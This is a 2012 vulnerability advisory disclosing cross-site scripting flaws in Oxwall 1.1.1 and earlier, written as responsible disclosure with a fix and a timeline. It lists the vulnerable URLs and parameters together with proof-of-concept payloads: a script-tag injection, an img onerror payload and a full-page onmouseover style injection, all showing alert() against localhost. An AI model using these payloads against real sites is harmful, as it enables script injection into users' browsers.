1. OVERVIEW OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND Oxwall is a free open source software package for building social networks, family sites and collaboration systems. It is a flexible community website engine developed with the aim to provide people with a well-coded, user-friendly software platform for social needs. It is easy to set up, configure and manage Oxwall while you focus on your site idea. We are testing the concept of free open source community software for complete (site,sub-site setups) and partial (widgets,features) community and collaboration solutions for companies and individuals. 3. VULNERABILITY DESCRIPTION Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 1.1.1 and lower 5. PROOF-OF-CONCEPT/EXPLOIT URL: http://localhost/Oxwall/join Injected Attack String: '"><script>alert(/XSS/)</script> Method: HTTP POST Vulnerable Parameters: captchaField, email, form_name ,password ,realname ,repeatPassword ,username ------------------------------------------------------------------------------------ URL: http://localhost/Oxwall/contact Injected Attack String: '"><script>alert(/XSS/)</script> Method: HTTP POST Vulnerable Parameters: captcha, email, form_name ,from , subject ------------------------------------------------------------------------------------ URL: http://localhost/Oxwall/blogs/browse-by-tag?tag=%27%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E Vulnerable Parameter: tag ---------------------------------------------------------------------------- Vulnerable Parameter: RAW-URI http://localhost/Oxwall/photo/viewlist/tagged/><img src=xs onerror=alert('XSS')> http://localhost/Oxwall/photo/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x= http://localhost/Oxwall/video/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x= 6. SOLUTION Upgade to the latest version of Oxwall. 7. VENDOR Oxwall Foundation http://www.oxwall.org/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-06-09: notified vendor 2012-02-20: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5BOxWall_1.1.1%5D_xss Oxwall Home Page: http://www.oxwall.org/ #yehg [2012-02-20]